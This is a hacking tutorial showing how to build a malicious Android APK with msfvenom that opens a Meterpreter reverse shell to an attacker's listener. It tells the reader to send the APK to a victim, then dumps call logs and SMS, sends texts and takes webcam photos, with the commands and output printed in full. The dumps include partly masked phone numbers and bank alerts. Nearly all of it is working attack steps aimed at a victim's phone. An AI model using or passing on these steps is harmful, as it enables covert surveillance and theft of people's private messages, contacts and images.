Hack Call Logs, SMS, Camera of Remote Android Phone using Metasploit

hackingarticles.in/hack-call-logs-sms-camera-remote-android-phone-using-metasploit

Raj March 31, 2016

In this article, we will learn how to hack an android device and exploit it according to one's desires. Android is an operating system based on Linux kernel. It uses an APK file format to install any application. Hence, our malware will also be in APK format. To construct the malware use the following msfvenom command :

```
msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 > shell.apk
```

```
root@kali:~# msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 > shell.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 10093 bytes
```

As the msfvenom malware is created, start the handler in order to have a session and for this type :

```
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.1.109
set lport 1234
exploit
```

Once the exploit is executed, send the APK file to the victim and make sure to run the file in their android phone. As the said file will run, you will have a session as shown in the image below :

```
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.109
lhost => 192.168.1.109
msf5 exploit(multi/handler) > set lport 1234
lport => 1234
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.109:1234
[*] Sending stage (70554 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.109:1234 -> 192.168.1.100:38734) at 2019-02-1

meterpreter > sysinfo
Computer    : localhost
OS          : Android 8.0.0 - Linux 3.18.66-perf+ (aarch64)
Meterpreter : dalvik/android
meterpreter >
```

Now, there are various commands to further exploit your victim's device. We will show you practical of some of the major commands and all of these commands are shown in the image below :

```
Android Commands
================

    Command           Description
    -------           -----------
    activity_start    Start an Android activity from a Uri string
    check_root        Check if device is rooted
    dump_calllog      Get call log
    dump_contacts     Get contacts list
    dump_sms          Get sms messages
    geolocate         Get current lat-long using geolocation
    hide_app_icon     Hide the app icon from the launcher
    interval_collect  Manage interval collection capabilities
    send_sms          Sends SMS from target session
    set_audio_mode    Set Ringer Mode
    sqlite_query      Query a SQLite database from storage
    wakelock          Enable/Disable Wakelock
    wlan_geolocate    Get current lat-long using WLAN information

meterpreter >
```

You can check whether the device is rooted or not by using the following command :

```
check_root
```

You can also dump all the call-logs by using the following command ;

```
dump_calllog
```

```
meterpreter > dump_calllog
[*] Fetching 500 entries
[*] Call log saved to calllog_dump_20190217113843.txt
meterpreter >
```

The above command will generate a TXT file with all the detailed list of call logs. Use the following command to read its contents :

cat <text file name>

```
root@kali:~# cat calllog_dump_20190217113843.txt

=================
[+] Call log dump
=================

Date: 2019-02-17 11:38:43 -0500
OS: Android 8.0.0 - Linux 3.18.66-perf+ (aarch64)
Remote IP: 192.168.1.100
Remote Port: 38734

#1
Number  : +91750[illegible]1
Name    : Yash
Date    : Sat Feb 09 11:24:51 GMT+05:30 2019
Type    : OUTGOING
Duration: 0

#2
Number  : +91750[illegible]41
Name    : Yash
Date    : Sat Feb 09 11:25:21 GMT+05:30 2019
Type    : OUTGOING
Duration: 0

#3
Number  : 925[illegible]157
Name    : null
Date    : Sat Feb 09 11:26:00 GMT+05:30 2019
Type    : OUTGOING
Duration: 0

#4
Number  : +917[illegible]41
Name    : Yash
Date    : Sat Feb 09 11:26:04 GMT+05:30 2019
Type    : OUTGOING
Duration: 1106
```


You can also send any kind of SMS from the device, remotely, with the following command :

```
send_sms -d 95******** -t hacked
```

```
meterpreter > send_sms -d 959[illegible]7347 -t hacked
[+] SMS sent - Transmission successful
meterpreter >
```

You can even use the following command to capture a picture :

```
webcam_snap
```

It will save the picture into a JPEG file.

```
meterpreter > webcam_snap
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /root/BSZfIbEi.jpeg
meterpreter >
```

Similar to dumping the call logs, you can also dump all the SMSs will the following command :

```
dump_sms
```

And then you can read the SMS dump file using cat command as shown in the image below :

```
root@kali:~# cat sms_dump_20190217115228.txt

====================
[+] SMS messages dump
====================

Date: 2019-02-17 11:52:28 -0500
OS: Android 8.0.0 - Linux 3.18.66-perf+ (aarch64)
Remote IP: 192.168.1.100
Remote Port: 38734

#1
Type    : Outgoing
Date    : 2019-02-17 11:41:34
Address : 959[illegible]47
Status  : MASK_TEMPORARY_ERROR
Message : hacked

#2
Type    : Incoming
Date    : 2019-02-17 07:55:31
Address : AXHDFCBK
Status  : NOT_RECEIVED
Message : ALERT: You've spent Rs.415.00 on CREDIT Card [illegible] SING REPUBLIC on

#3
Type    : Incoming
Date    : 2019-02-17 07:40:48
Address : AXJUSTDL
Status  : NOT_RECEIVED
Message : 2, Ms Amit +9[illegible]28 enquired for Computer Training Institutes in New Delhi

#4
Type    : Incoming
Date    : 2019-02-17 01:47:53
Address : IMCARDLO
Status  : NOT_RECEIVED
Message : If you have an existing credit card you are eligible for new card & get vouchers
```

This way, you can exploit android as the way you like it.

Author: **Yashika Dhir** is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast. contact **here**